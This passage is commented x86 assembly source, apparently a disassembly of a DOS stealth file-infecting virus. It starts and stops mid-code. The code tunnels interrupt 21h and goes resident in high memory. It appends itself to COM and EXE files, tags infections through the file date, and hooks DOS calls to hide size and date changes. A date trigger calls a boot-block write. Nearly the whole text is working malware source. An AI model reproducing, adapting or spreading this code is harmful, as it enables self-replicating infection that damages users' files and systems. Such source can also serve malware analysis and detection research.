bytes of the carrier file + retn + db 75h,02,44h,15h,46h,20h + db 'Copyright Bourb%}i, I' +endoldheader: +EXEflag db 00h + db 0FEh, 3Ah + +int1: ; locate the BIOS or DOS entry point for int 13h and int 21h + push bp ; set up stack frame + mov bp,sp + push ax + cmp word ptr [bp+4],0C000h ; in BIOS? + jnb foundorigint ; nope, haven't found it + mov ax,cs:DOSsegment ; in DOS? + cmp [bp+4],ax + jbe foundorigint +exitint1: + pop ax + pop bp + iret +foundorigint: + cmp byte ptr cs:tracemode,1 + jz tracemode1 + mov ax,[bp+4] ; save segment of entry point + mov word ptr cs:origints+2,ax + mov ax,[bp+2] ; save offset of entry point + mov word ptr cs:origints,ax + jb finishint1 + pop ax + pop bp + mov ss,cs:savess ; restore the stack to its + mov sp,cs:savesp ; original state + mov al,cs:saveIMR ; Restore IMR + out 21h,al ; (enable interrupts) + jmp setvirusints +finishint1: + and word ptr [bp+6],0FEFFh ; turn off trap flag + mov al,cs:saveIMR ; and restore IMR + out 21h,al + jmp short exitint1 +tracemode1: + dec byte ptr cs:instructionstotrace + jnz exitint1 + and word ptr [bp+6],0FEFFh ; turn off trap flag + call saveregs + call swapvirint21 ; restore original int + lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers + mov al,1 + call setvect + call restoreregs + jmp short finishint1 + +getint: + push ds + push si + xor si,si ; clear si + mov ds,si ; ds->interrupt table + xor ah,ah ; cbw would be better!? + mov si,ax + shl si,1 ; convert int # to offset in + shl si,1 ; interrupt table (int # x 4) + mov bx,[si] ; es:bx = interrupt vector + mov es,[si+2] ; get old interrupt vector + ; save 3 bytes if use les bx,[si] + pop si + pop ds + retn + +installvirus: + mov word ptr cs:stackptr,offset topstack + mov cs:initialax,ax ; save initial value for ax + mov ah,30h ; Get DOS version + int 21h + + mov cs:DOSversion,al ; Save DOS version + mov cs:carrierPSP,ds ; Save PSP segment + mov ah,52h ; Get list of lists + int 21h + + mov ax,es:[bx-2] ; segment of first MCB + mov cs:DOSsegment,ax ; save it for use in int 1 + mov es,ax ; es = segment first MCB + mov ax,es:[1] ; Get owner of first MCB + mov cs:ownerfirstMCB,ax ; save it + push cs + pop ds + mov al,1 ; get single step vector + call getint + mov word ptr ds:oldint1,bx ; save it for later + mov word ptr ds:oldint1+2,es; restoration + mov al,21h ; get int 21h vector + call getint + mov word ptr ds:origints,bx + mov word ptr ds:origints+2,es + mov byte ptr ds:tracemode,0 ; regular trace mode on + mov dx,offset int1 ; set new int 1 handler + mov al,1 + call setvect + pushf + pop ax + or ax,100h ; turn on trap flag + push ax + in al,21h ; Get old IMR + mov ds:saveIMR,al + mov al,0FFh ; disable all interrupts + out 21h,al + popf + mov ah,52h ; Get list of lists + pushf ; (for tracing purposes) + call dword ptr ds:origints ; perform the tunnelling + pushf + pop ax + and ax,0FEFFh ; turn off trap flag + push ax + popf + mov al,ds:saveIMR ; reenable interrupts + out 21h,al + push ds + lds dx,dword ptr ds:oldint1 + mov al,1 ; restore int 1 to the + call setvect ; original handler + pop ds + les di,dword ptr ds:origints; set up int 21h handlers + mov word ptr ds:oldint21,di + mov word ptr ds:oldint21+2,es + mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr + mov word ptr ds:int21store,offset otherint21 + mov word ptr ds:int21store+2,cs + call swapvirint21 ; activate virus in memory + mov ax,4B00h + mov ds:checkres,ah ; set resident flag to a + ; dummy value + mov dx,offset EXEflag+1 ; save EXE flag + push word ptr ds:EXEflag + int 21h ; installation check + ; returns checkres=0 if + ; installed + + pop word ptr ds:EXEflag ; restore EXE flag + add word ptr es:[di-4],9 + nop ; !? + mov es,ds:carrierPSP ; restore ES and DS to their + mov ds,ds:carrierPSP ; original values + sub word ptr ds:[2],(topstack/10h)+1 + ; alter top of memory in PSP + mov bp,ds:[2] ; get segment + mov dx,ds + sub bp,dx + mov ah,4Ah ; Find total available memory + mov bx,0FFFFh + int 21h + + mov ah,4Ah ; Allocate all available memory + int 21h + + dec dx ; go to MCB of virus memory + mov ds,dx + cmp byte ptr ds:[0],'Z' ; is it the last block? + je carrierislastMCB + dec byte ptr cs:checkres ; mark need to install virus +carrierislastMCB: + cmp byte ptr cs:checkres,0 ; need to install? + je playwithMCBs ; nope, go play with MCBs + mov byte ptr ds:[0],'M' ; mark not end of chain +playwithMCBs: + mov ax,ds:[3] ; get memory size controlled + mov bx,ax ; by the MCB + sub ax,(topstack/10h)+1 ; calculate new size + add dx,ax ; find high memory segment + mov ds:[3],ax ; put new size in MCB + inc dx ; one more for the MCB + mov es,dx ; es->high memory MCB + mov byte ptr es:[0],'Z' ; mark end of chain + push word ptr cs:ownerfirstMCB ; get DOS PSP ID + pop word ptr es:[1] ; make it the owner + mov word ptr es:[3],160h ; fill in the size field + inc dx + mov es,dx ; es->high memory area + push cs + pop ds + mov cx,(topstack/2) ; zopy 0-1600h to high memory + mov si,offset topstack-2 + mov di,si + std ; zopy backwards + rep movsw + cld + push es ; set up stack for jmp into + mov ax,offset highentry ; virus code in high memory + push ax + mov es,cs:carrierPSP ; save current PSP segment + mov ah,4Ah ; Alter memory allocation + mov bx,bp ; bx = paragraphs + int 21h + retf ; jmp to virus code in high +highentry: ; memory + call swapvirint21 + mov word ptr cs:int21store+2,cs + call swapvirint21 + push cs + pop ds + mov byte ptr ds:handlesleft,14h ; reset free handles count + push cs + pop es + mov di,offset handletable + mov cx,14h + xor ax,ax ; clear handle table + rep stosw + mov ds:hideclustercountchange,al ; clear the flag + mov ax,ds:carrierPSP + mov es,ax ; es->PSP + lds dx,dword ptr es:[0Ah] ; get terminate vector (why?) + mov ds,ax ; ds->PSP + add ax,10h ; adjust for PSP + add word ptr cs:oldheader+16h,ax ; adjust jmp location + cmp byte ptr cs:EXEflag,0 ; for PSP + jne returntoEXE +returntoCOM: + sti + mov ax,word ptr cs:oldheader; restore first 6 bytes of the + mov ds:[100h],ax ; COM file + mov ax,word ptr cs:oldheader+2 + mov ds:[102h],ax + mov ax,word ptr cs:oldheader+4 + mov ds:[104h],ax + push word ptr cs:carrierPSP ; Segment of carrier file's + mov ax,100h ; PSP + push ax + mov ax,cs:initialax ; restore orig. value of ax + retf ; return to original COM file + +returntoEXE: + add word ptr cs:oldheader+0eh,ax + mov ax,cs:initialax ; Restore ax + mov ss,word ptr cs:oldheader+0eh ; Restore stack to + mov sp,word ptr cs:oldheader+10h ; original value + sti + jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP + ; entry point +entervirus: + cmp sp,100h ; COM file? + ja dont_resetstack ; if so, skip this + xor sp,sp ; new stack +dont_resetstack: + mov bp,ax + call next ; calculate relativeness +next: + pop cx + sub cx,offset next ; cx = delta offset + mov ax,cs ; ax = segment + mov bx,10h ; convert to offset + mul bx + add ax,cx + adc dx,0 + div bx ; convert to seg:off + push ax ; set up stack for jmp + mov ax,offset installvirus ; to installvirus + push ax + mov ax,bp + retf ; go to installvirus + +int21commands: + db 30h ; get DOS version + dw offset getDOSversion + db 23h ; FCB get file size + dw offset FCBgetfilesize + db 37h ; get device info + dw offset get_device_info + db 4Bh ; execute + dw offset execute + db 3Ch ; create file w/ handle + dw offset createhandle + db 3Dh ; open file + dw offset openhandle + db 3Eh ; close file + dw offset handleclosefile + db 0Fh ; FCB open file + dw offset FCBopenfile + db 14h ; sequential FCB read + dw offset sequentialFCBread + db 21h ; random FCB read + dw offset randomFCBread + db 27h ; random FCB block read + dw offset randomFCBblockread + db 11h ; FCB find first + dw offset FCBfindfirstnext + db 12h ; FCB find next + dw offset FCBfindfirstnext + db 4Eh ; filename find first + dw offset filenamefindfirstnext + db 4Fh ; filename find next + dw offset filenamefindfirstnext + db 3Fh ; read + dw offset handleread + db 40h ; write + dw offset handlewrite + db 42h ; move file pointer + dw offset handlemovefilepointer + db 57h ; get/set file time/date + dw offset getsetfiletimedate + db 48h ; allocate memory + dw offset allocatememory +endcommands: + +otherint21: + cmp ax,4B00h ; execute? + jnz notexecute + mov cs:checkres,al ; clear the resident flag +notexecute: + push bp ; set up stack frame + mov bp,sp + push [bp+6] ; push old flags + pop cs:int21flags ; and put in variable + pop bp ; why? + push bp ; why? + mov bp,sp ; set up new stack frame + call saveregs + call swapvirint21 ; reenable DOS int 21h handler + call disableBREAK + call restoreregs + call _pushall + push bx + mov bx,offset int21commands ; bx->command table +scanforcommand: + cmp ah,cs:[bx] ; scan for the function + jne findnextcommand ; code/subroutine combination + mov bx,cs:[bx+1] + xchg bx,[bp-14h] + cld + retn +findnextcommand: + add bx,3 ; go to next command + cmp bx,offset endcommands ; in the table until + jb scanforcommand ; there are no more + pop bx +exitotherint21: + call restoreBREAK + in al,21h ; save IMR + mov cs:saveIMR,al + mov al,0FFh ; disable all interrupts + out 21h,al + mov byte ptr cs:instructionstotrace,4 ; trace into + mov byte ptr cs:tracemode,1 ; oldint21 + call replaceint1 ; set virus int 1 handler + call _popall + push ax + mov ax,cs:int21flags ; get the flags + or ax,100h ; turn on the trap flag + push ax ; and set it in motion + popf + pop ax + pop bp + jmp dword ptr cs:oldint21 ; chain back to original int + ; 21h handler -- do not return + +exitint21: + call saveregs + call restoreBREAK + call swapvirint21 + call restoreregs + pop bp + push bp ; set up stack frame + mov bp,sp + push word ptr cs:int21flags ; get the flags and put + pop word ptr [bp+6] ; them on the stack for + pop bp ; the iret + iret + +FCBfindfirstnext: + call _popall + call callint21 + or al,al ; Found any files? + jnz exitint21 ; guess not + call _pushall + call getdisktransferaddress + mov al,0 + cmp byte ptr [bx],0FFh ; Extended FCB? + jne findfirstnextnoextendedFCB + mov al,[bx+6] + add bx,7 ; convert to normal FCB +findfirstnextnoextendedFCB: + and cs:hide_size,al + test byte ptr [bx+1Ah],80h ; check year bit for virus + jz _popall_then_exitint21 ; infection tag. exit if so + sub byte ptr [bx+1Ah],0C8h ; alter file date + cmp byte ptr cs:hide_size,0 + jne _popall_then_exitint21 + sub word ptr [bx+1Dh],1000h ; hide file size + sbb word ptr [bx+1Fh],0 +_popall_then_exitint21: + call _popall + jmp short exitint21 + +FCBopenfile: + call _popall + call callint21 ; chain to original int 21h + call _pushall + or al,al ; 0 = success + jnz _popall_then_exitint21 + mov bx,dx + test byte ptr [bx+15h],80h ; check if infected yet + jz _popall_then_exitint21 + sub byte ptr [bx+15h],0C8h ; restore date + sub word ptr [bx+10h],1000h ; and hide file size + sbb byte ptr [bx+12h],0 + jmp short _popall_then_exitint21 + +randomFCBblockread: + jcxz go_exitotherint21 ; reading any blocks? + +randomFCBread: + mov bx,dx + mov si,[bx+21h] ; check if reading first + or si,[bx+23h] ; bytes + jnz go_exitotherint21 + jmp short continueFCBread + +sequentialFCBread: + mov bx,dx + mov ax,[bx+0Ch] ; check if reading first + or al,[bx+20h] ; bytes + jnz go_exitotherint21 +continueFCBread: + call checkFCBokinfect + jnc continuecontinueFCBread +go_exitotherint21: + jmp exitotherint21 +continuecontinueFCBread: + call _popall + call _pushall + call callint21 ; chain to original handler + mov [bp-4],ax ; set the return codes + mov [bp-8],cx ; properly + push ds ; save FCB pointer + push dx + call getdisktransferaddress + cmp word ptr [bx+14h],1 ; check for EXE infection + je FCBreadinfectedfile ; (IP = 1) + mov ax,[bx] ; check for COM infection + add ax,[bx+2] ; (checksum = 0) + add ax,[bx+4] + jz FCBreadinfectedfile + add sp,4 ; no infection, no stealth + jmp short _popall_then_exitint21 ; needed +FCBreadinfectedfile: + pop dx ; restore address of the FCB + pop ds + mov si,dx + push cs + pop es + mov di,offset tempFCB ; copy FCB to temporary one + mov cx,25h + rep movsb + mov di,offset tempFCB + push cs + pop ds + mov ax,[di+10h] ; get old file size + mov dx,[di+12h] + add ax,100Fh ; increase by virus size + adc dx,0 ; and round to the nearest + and ax,0FFF0h ; paragraph + mov [di+10h],ax ; insert new file size + mov [di+12h],dx + sub ax,0FFCh + sbb dx,0 + mov [di+21h],ax ; set new random record # + mov [di+23h],dx + mov word ptr [di+0Eh],1 ; record size = 1 + mov cx,1Ch + mov dx,di + mov ah,27h ; random block read 1Ch bytes + call callint21 + jmp _popall_then_exitint21 + +FCBgetfilesize: + push cs + pop es + mov si,dx + mov di,offset tempFCB ; copy FCB to temp buffer + mov cx,0025h + repz movsb + push ds + push dx + push cs + pop ds + mov dx,offset tempFCB + mov ah,0Fh ; FCB open file + call callint21 + mov ah,10h ; FCB close file + call callint21 + test byte ptr [tempFCB+15h],80h ; check date bit + pop si + pop ds + jz will_exitotherint21 ; exit if not infected + les bx,dword ptr cs:[tempFCB+10h] ; get filesize + mov ax,es + sub bx,1000h ; hide increase + sbb ax,0 + xor dx,dx + mov cx,word ptr cs:[tempFCB+0eh] ; get record size + dec cx + add bx,cx + adc ax,0 + inc cx + div cx + mov [si+23h],ax ; fix random access record # + xchg dx,ax + xchg bx,ax + div cx + mov [si+21h],ax ; fix random access record # + jmp _popall_then_exitint21 + +filenamefindfirstnext: + and word ptr cs:int21flags,-2 ; turn off trap flag + call _popall + call callint21 + call _pushall + jnb filenamefffnOK ; continue if a file is found + or word ptr cs:int21flags,1 + jmp _popall_then_exitint21 + +filenamefffnOK: + call getdisktransferaddress + test byte ptr [bx+19h],80h ; Check high bit of date + jnz filenamefffnfileinfected; Bit set if infected + jmp _popall_then_exitint21 +filenamefffnfileinfected: + sub word ptr [bx+1Ah],1000h ; hide file length increase + sbb word ptr [bx+1Ch],0 + sub byte ptr [bx+19h],0C8h ; and date change + jmp _popall_then_exitint21 + +createhandle: + push cx + and cx,7 ; mask the attributes + cmp cx,7 ; r/o, hidden, & system? + je exit_create_handle + pop cx + call replaceint13and24 + call callint21 ; chain to original int 21h + call restoreint13and24 + pushf + cmp byte ptr cs:errorflag,0 ; check if any errors yet + je no_errors_createhandle + popf +will_exitotherint21: + jmp exitotherint21 +no_errors_createhandle: + popf + jc other_error_createhandle; exit on error + mov bx,ax ; move handle to bx + mov ah,3Eh ; Close file + call callint21 + jmp short openhandle +other_error_createhandle: + or byte ptr cs:int21flags,1; turn on the trap flag + mov [bp-4],ax ; set the return code properly + jmp _popall_then_exitint21 +exit_create_handle: + pop cx + jmp exitotherint21 + +openhandle: + call getcurrentPSP + call checkdsdxokinfect + jc jmp_exitotherint21 + cmp byte ptr cs:handlesleft,0 ; make sure there is a free + je jmp_exitotherint21 ; entry in the table + call setup_infection ; open the file + cmp bx,0FFFFh ; error? + je jmp_exitotherint21 ; if so, exit + dec byte ptr cs:handlesleft + push cs + pop es + mov di,offset handletable + mov cx,14h + xor ax,ax ; find end of the table + repne scasw + mov ax,cs:currentPSP ; put the PSP value and the + mov es:[di-2],ax ; handle # in the table + mov es:[di+26h],bx + mov [bp-4],bx ; put handle # in return code +handleopenclose_exit: + and byte ptr cs:int21flags,0FEh ; turn off the trap flag + jmp _popall_then_exitint21 +jmp_exitotherint21: + jmp exitotherint21 + +handleclosefile: + push cs + pop es + call getcurrentPSP + mov di,offset handletable + mov cx,14h ; 14h entries max + mov ax,cs:currentPSP ; search for calling PSP +scanhandle_close: + repne scasw + jnz handlenotfound ; handle not trapped + cmp bx,es:[di+26h] ; does the handle correspond? + jne scanhandle_close ; if not, find another handle + mov word ptr es:[di-2],0 ; otherwise, clear handle + call infect_file + inc byte ptr cs:handlesleft ; fix handles left counter + jmp short handleopenclose_exit ; and exit +handlenotfound: + jmp exitotherint21 + +getdisktransferaddress: + push es + mov ah,2Fh ; Get disk transfer address + call callint21 ; to es:bx + push es + pop ds ; mov to ds:bx + pop es + retn +execute: + or al,al ; load and execute? + jz loadexecute ; yepper! + jmp checkloadnoexecute ; otherwise check if + ; load/no execute +loadexecute: + push ds ; save filename + push dx + mov word ptr cs:parmblock,bx; save parameter block and + mov word ptr cs:parmblock+2,es; move to ds:si + lds si,dword ptr cs:parmblock + mov di,offset copyparmblock ; copy the parameter block + mov cx,0Eh + push cs + pop es + rep movsb + pop si ; copy the filename + pop ds ; to the buffer + mov di,offset copyfilename + mov cx,50h + rep movsb + mov bx,0FFFFh + call allocate_memory ; allocate available memory + call _popall + pop bp ; save the parameters + pop word ptr cs:saveoffset ; on the stack + pop word ptr cs:savesegment + pop word ptr cs:int21flags + mov ax,4B01h ; load/no execute + push cs ; ds:dx -> file name + pop es ; es:bx -> parameter block + mov bx,offset copyparmblock + pushf ; perform interrupt 21h + call dword ptr cs:oldint21 + jnc continue_loadexecute ; continue if no error + or word ptr cs:int21flags,1; turn on trap flag + push word ptr cs:int21flags ; if error + push word ptr cs:savesegment ; restore stack + push word ptr cs:saveoffset + push bp ; restore the stack frame + mov bp,sp ; and restore ES:BX to + les bx,dword ptr cs:parmblock ; point to the parameter + jmp exitint21 ; block +continue_loadexecute: + call getcurrentPSP + push cs + pop es + mov di,offset handletable ; scan the handle table + mov cx,14h ; for the current PSP's +scanhandle_loadexecute: ; handles + mov ax,cs:currentPSP + repne scasw + jnz loadexecute_checkEXE + mov word ptr es:[di-2],0 ; clear entry in handle table + inc byte ptr cs:handlesleft ; fix handlesleft counter + jmp short scanhandle_loadexecute +loadexecute_checkEXE: + lds si,dword ptr cs:origcsip + cmp si,1 ; Check if EXE infected + jne loadexecute_checkCOM + mov dx,word ptr ds:oldheader+16h ; get initial CS + add dx,10h ; adjust for PSP + mov ah,51h ; Get current PSP segment + call callint21 + add dx,bx ;adjust for start load segment + mov word ptr cs:origcsip+2,dx + push word ptr ds:oldheader+14h ; save old IP + pop word ptr cs:origcsip + add bx,10h ; adjust for the PSP + add bx,word ptr ds:oldheader+0Eh ; add old SS + mov cs:origss,bx + push word ptr ds:oldheader+10h ; old SP + pop word ptr cs:origsp + jmp short perform_loadexecute +loadexecute_checkCOM: + mov ax,[si] ; Check if COM infected + add ax,[si+2] + add ax,[si+4] + jz loadexecute_doCOM ; exit if already infected + push cs ; otherwise check to see + pop ds ; if it is suitable for + mov dx,offset copyfilename ; infection + call checkdsdxokinfect + call setup_infection + inc byte ptr cs:hideclustercountchange + call infect_file ; infect the file + dec byte ptr cs:hideclustercountchange +perform_loadexecute: + mov ah,51h ; Get current PSP segment + call callint21 + call saveregs + call restoreBREAK + call swapvirint21 + call restoreregs + mov ds,bx ; ds = current PSP segment + mov es,bx ; es = current PSP segment + push word ptr cs:int21flags ; restore stack parameters + push word ptr cs:savesegment + push word ptr cs:saveoffset + pop word ptr ds:[0Ah] ; Set terminate address in PSP + pop word ptr ds:[0Ch] ; to return address found on + ; the stack + ; (int 21h caller CS:IP) + push ds + lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP + mov al,22h ; Set terminate address to it + call setvect + pop ds + popf + pop ax + mov ss,cs:origss ; restore the stack + mov sp,cs:origsp ; and + jmp dword ptr cs:origcsip ; perform the execute + +loadexecute_doCOM: + mov bx,[si+1] ; restore original COM file + mov ax,word ptr ds:[bx+si-261h] + mov [si],ax + mov ax,word ptr ds:[bx+si-25Fh] + mov [si+2],ax + mov ax,word ptr ds:[bx+si-25Dh] + mov [si+4],ax + jmp short perform_loadexecute +checkloadnoexecute: + cmp al,1 + je loadnoexecute + jmp exitotherint21 +loadnoexecute: + or word ptr cs:int21flags,1; turn on trap flag + mov word ptr cs:parmblock,bx; save pointer to parameter + mov word ptr cs:parmblock+2,es ; block + call _popall + call callint21 ; chain to int 21h + call _pushall + les bx,dword ptr cs:parmblock ; restore pointer to + ; parameter block + lds si,dword ptr es:[bx+12h]; get cs:ip on execute return + jc exit_loadnoexecute + and byte ptr cs:int21flags,0FEh ; turn off trap flag + cmp si,1 ; check for EXE infection + je loadnoexecute_EXE_already_infected + ; infected if initial IP = 1 + mov ax,[si] ; check for COM infection + add ax,[si+2] ; infected if checksum = 0 + add ax,[si+4] + jnz perform_the_execute + mov bx,[si+1] ; get jmp location + mov ax,ds:[bx+si-261h] ; restore original COM file + mov [si],ax + mov ax,ds:[bx+si-25Fh] + mov [si+2],ax + mov ax,ds:[bx+si-25Dh] + mov [si+4],ax + jmp short perform_the_execute +loadnoexecute_EXE_already_infected: + mov dx,word ptr ds:oldheader+16h ; get entry CS:IP + call getcurrentPSP + mov cx,cs:currentPSP + add cx,10h ; adjust for PSP + add dx,cx + mov es:[bx+14h],dx ; alter the entry point CS + mov ax,word ptr ds:oldheader+14h + mov es:[bx+12h],ax + mov ax,word ptr ds:oldheader+0Eh ; alter stack + add ax,cx + mov es:[bx+10h],ax + mov ax,word ptr ds:oldheader+10h + mov es:[bx+0Eh],ax +perform_the_execute: + call getcurrentPSP + mov ds,cs:currentPSP + mov ax,[bp+2] ; restore length as held in + mov word ptr ds:oldheader+6,ax + mov ax,[bp+4] ; the EXE header + mov word ptr ds:oldheader+8,ax +exit_loadnoexecute: + jmp _popall_then_exitint21 + +getDOSversion: + mov byte ptr cs:hide_size,0 + mov ah,2Ah ; Get date + call callint21 + cmp dx,916h ; September 22? + jb exitDOSversion ; leave if not + call writebootblock ; this is broken +exitDOSversion: + jmp exitotherint21 + +infect_file: + call replaceint13and24 + call findnextparagraphboundary + mov byte ptr ds:EXEflag,1 ; assume is an EXE file + cmp word ptr ds:readbuffer,'ZM' ; check here for regular + je clearlyisanEXE ; EXE header + cmp word ptr ds:readbuffer,'MZ' ; check here for alternate + je clearlyisanEXE ; EXE header + dec byte ptr ds:EXEflag ; if neither, assume is a + jz try_infect_com ; COM file +clearlyisanEXE: + mov ax,ds:lengthinpages ; get file size in pages + shl cx,1 ; and convert it to + mul cx ; bytes + add ax,200h ; add 512 bytes + cmp ax,si + jb go_exit_infect_file + mov ax,ds:minmemory ; make sure min and max memory + or ax,ds:maxmemory ; are not both zero + jz go_exit_infect_file + mov ax,ds:filesizelow ; get filesize in dx:ax + mov dx,ds:filesizehigh + mov cx,200h ; convert to pages + div cx + or dx,dx ; filesize multiple of 512? + jz filesizemultiple512 ; then don't increment # + inc ax ; pages +filesizemultiple512: + mov ds:lengthinpages,ax ; put in new values for length + mov ds:lengthMOD512,dx ; fields + cmp word ptr ds:initialIP,1 ; check if already infected + je exit_infect_file + mov word ptr ds:initialIP,1 ; set new entry point + mov ax,si ; calculate new entry point + sub ax,ds:headersize ; segment + mov ds:initialcs,ax ; put this in for cs + add word ptr ds:lengthinpages,8 ; 4K more + mov ds:initialSS,ax ; put entry segment in for SS + mov word ptr ds:initialSP,1000h ; set stack @ 1000h + call finish_infection +go_exit_infect_file: + jmp short exit_infect_file +try_infect_com: + cmp si,0F00h ; make sure file is under + jae exit_infect_file ; F00h paragraphs or else + ; it will be too large once it + ; is infected + mov ax,ds:readbuffer ; first save first 6 bytes + mov word ptr ds:oldheader,ax + add dx,ax + mov ax,ds:readbuffer+2 + mov word ptr ds:oldheader+2,ax + add dx,ax + mov ax,ds:readbuffer+4 + mov word ptr ds:oldheader+4,ax + add dx,ax ; exit if checksum = 0 + jz exit_infect_file ; since then it is already + ; infected + mov cl,0E9h ; encode jmp instruction + mov byte ptr ds:readbuffer,cl + mov ax,10h ; find file size + mul si + add ax,offset entervirus-3 ; calculate offset of jmp + mov word ptr ds:readbuffer+1,ax ; encode it + mov ax,ds:readbuffer ; checksum it to 0 + add ax,ds:readbuffer+2 + neg ax + mov ds:readbuffer+4,ax + call finish_infection +exit_infect_file: + mov ah,3Eh ; Close file + call callint21 + call restoreint13and24 + retn + + +findnextparagraphboundary: + push cs + pop ds + mov ax,5700h ; Get file time/date + call callint21 + mov ds:filetime,cx + mov ds:filedate,dx + mov ax,4200h ; Go to beginning of file + xor cx,cx + mov dx,cx + call callint21 + mov ah,3Fh ; Read first 1Ch bytes + mov cl,1Ch + mov dx,offset readbuffer + call callint21 + mov ax,4200h ; Go to beginning of file + xor cx,cx + mov dx,cx + call callint21 + mov ah,3Fh ; Read first 1Ch bytes + mov cl,1Ch + mov dx,offset oldheader + call callint21 + mov ax,4202h ; Go to end of file + xor cx,cx + mov dx,cx + call callint21 + mov ds:filesizelow,ax ; save filesize + mov ds:filesizehigh,dx + mov di,ax + add ax,0Fh ; round to nearest paragraph + adc dx,0 ; boundary + and ax,0FFF0h + sub di,ax ; di=# bytes to next paragraph + mov cx,10h ; normalize filesize + div cx ; to paragraphs + mov si,ax ; si = result + retn + + +finish_infection: + mov ax,4200h ; Go to beginning of file + xor cx,cx + mov dx,cx + call callint21 + mov ah,40h ; Write new header to file + mov cl,1Ch + mov dx,offset readbuffer + call callint21 + mov ax,10h ; convert paragraph boundary + mul si ; to a byte value + mov cx,dx + mov dx,ax + mov ax,4200h ; go to first paragraph + call callint21 ; boundary at end of file + xor dx,dx + mov cx,1000h + add cx,di + mov ah,40h ; Concatenate virus to file + call callint21 + mov ax,5701h ; Restore file time/date + mov cx,ds:filetime + mov dx,ds:filedate + test dh,80h ; check for infection bit + jnz highbitset + add dh,0C8h ; alter if not set yet +highbitset: + call callint21 + cmp byte ptr ds:DOSversion,3; if not DOS 3+, then + jb exit_finish_infection ; do not hide the alteration + ; in cluster count + cmp byte ptr ds:hideclustercountchange,0 + je exit_finish_infection + push bx + mov dl,ds:filedrive + mov ah,32h ; Get drive parameter block + call callint21 ; for drive dl + mov ax,cs:numfreeclusters + mov [bx+1Eh],ax ; alter free cluster count + pop bx +exit_finish_infection: + retn + + +checkFCBokinfect: + call saveregs + mov di,dx + add di,0Dh ; skip to extension + push ds + pop es + jmp short performchecksum ; and check checksum for valid + ; checksum + +checkdsdxokinfect: + call saveregs + push ds + pop es + mov di,dx + mov cx,50h ; max filespec length + xor ax,ax + mov bl,0 ; default drive + cmp byte ptr [di+1],':' ; Is there a drive spec? + jne ondefaultdrive ; nope, skip it + mov bl,[di] ; yup, get drive + and bl,1Fh ; and convert to number +ondefaultdrive: + mov cs:filedrive,bl + repne scasb ; find terminating 0 byte +performchecksum: + mov ax,[di-3] + and ax,0DFDFh ; convert to uppercase + add ah,al + mov al,[di-4] + and al,0DFh ; convert to uppercase + add al,ah + mov byte ptr cs:EXEflag,0 ; assume COM file + cmp al,0DFh ; COM checksum? + je COMchecksum + inc byte ptr cs:EXEflag ; assume EXE file + cmp al,0E2h ; EXE checksum? + jne otherchecksum +COMchecksum: + call restoreregs + clc ; mark no error + retn +otherchecksum: + call restoreregs + stc ; mark error + retn + + +getcurrentPSP: + push bx + mov ah,51h ; Get current PSP segment + call callint21 + mov cs:currentPSP,bx ; store it + pop bx + retn + + +setup_infection: + call replaceint13and24 + push dx + mov dl,cs:filedrive + mov ah,36h ; Get disk free space + call callint21 + mul cx ; ax = bytes per cluster + mul bx ; dx:ax = bytes free space + mov bx,dx + pop dx + or bx,bx ; less than 65536 bytes free? + jnz enough_free_space ; hopefully not + cmp ax,4000h ; exit if less than 16384 + jb exit_setup_infection ; bytes free +enough_free_space: + mov ax,4300h ; Get file attributes + call callint21 + jc exit_setup_infection ; exit on error + mov di,cx ; di = attributes + xor cx,cx + mov ax,4301h ; Clear file attributes + call callint21 + cmp byte ptr cs:errorflag,0 ; check for errors + jne exit_setup_infection + mov ax,3D02h ; Open file read/write + call callint21 + jc exit_setup_infection ; exit on error + mov bx,ax ; move handle to bx + ; xchg bx,ax is superior + mov cx,di + mov ax,4301h ; Restore file attributes + call callint21 + push bx + mov dl,cs:filedrive ; Get file's drive number + mov ah,32h ; Get drive parameter block + call callint21 ; for disk dl + mov ax,[bx+1Eh] ; Get free cluster count + mov cs:numfreeclusters,ax ; and save it + pop bx ; return handle + call restoreint13and24 + retn +exit_setup_infection: + xor bx,bx + dec bx ; return bx=-1 on error + call restoreint13and24 + retn + + +checkforinfection: + push cx + push dx + push ax + mov ax,4400h ; Get device information + call callint21 ; (set hide_size = 2) + xor dl,80h + test dl,80h ; Character device? If so, + jz exit_checkforinfection ; exit; cannot be infected + mov ax,5700h ; Otherwise get time/date + call callint21 + test dh,80h ; Check year bit for infection +exit_checkforinfection: + pop ax + pop dx + pop cx + retn + +obtainfilesize: + call saveregs + mov ax,4201h ; Get current file position + xor cx,cx + xor dx,dx + call callint21 + mov cs:curfileposlow,ax + mov cs:curfileposhigh,dx + mov ax,4202h ; Go to end of file + xor cx,cx + xor dx,dx + call callint21 + mov cs:filesizelow,ax + mov cs:filesizehigh,dx + mov ax,4200h ; Return to file position + mov dx,cs:curfileposlow + mov cx,cs:curfileposhigh + call callint21 + call restoreregs + retn + +getsetfiletimedate: + or al,al ; Get time/date? + jnz checkifsettimedate ; if not, see if Set time/date + and word ptr cs:int21flags,0FFFEh ; turn off trap flag + call _popall + call callint21 + jc gettimedate_error ; exit on error + test dh,80h ; check year bit if infected + jz gettimedate_notinfected + sub dh,0C8h ; if so, hide change +gettimedate_notinfected: + jmp exitint21 +gettimedate_error: + or word ptr cs:int21flags,1; turn on trap flag + jmp exitint21 +checkifsettimedate: + cmp al,1 ; Set time/date? + jne exit_filetimedate_pointer + and word ptr cs:int21flags,0FFFEh ; turn off trap flag + test dh,80h ; Infection bit set? + jz set_yearbitset + sub dh,0C8h ; clear infection bit +set_yearbitset: + call checkforinfection + jz set_datetime_nofinagle + add dh,0C8h ; set infection flag +set_datetime_nofinagle: + call callint21 + mov [bp-4],ax + adc word ptr cs:int21flags,0; turn on/off trap flag + jmp _popall_then_exitint21 ; depending on result + +handlemovefilepointer: + cmp al,2 + jne exit_filetimedate_pointer + call checkforinfection + jz exit_filetimedate_pointer + sub word ptr [bp-0Ah],1000h ; hide file size + sbb word ptr [bp-8],0 +exit_filetimedate_pointer: + jmp exitotherint21 + +handleread: + and byte ptr cs:int21flags,0FEh ; clear trap flag + call checkforinfection ; exit if it is not + jz exit_filetimedate_pointer ; infected -- no need + ; to do stealthy stuff + mov cs:savelength,cx + mov cs:savebuffer,dx + mov word ptr cs:return_code,0 + call obtainfilesize + mov ax,cs:filesizelow ; store the file size + mov dx,cs:filesizehigh + sub ax,1000h ; get uninfected file size + sbb dx,0 + sub ax,cs:curfileposlow ; check if currently in + sbb dx,cs:curfileposhigh ; virus code + jns not_in_virus_body ; continue if not + mov word 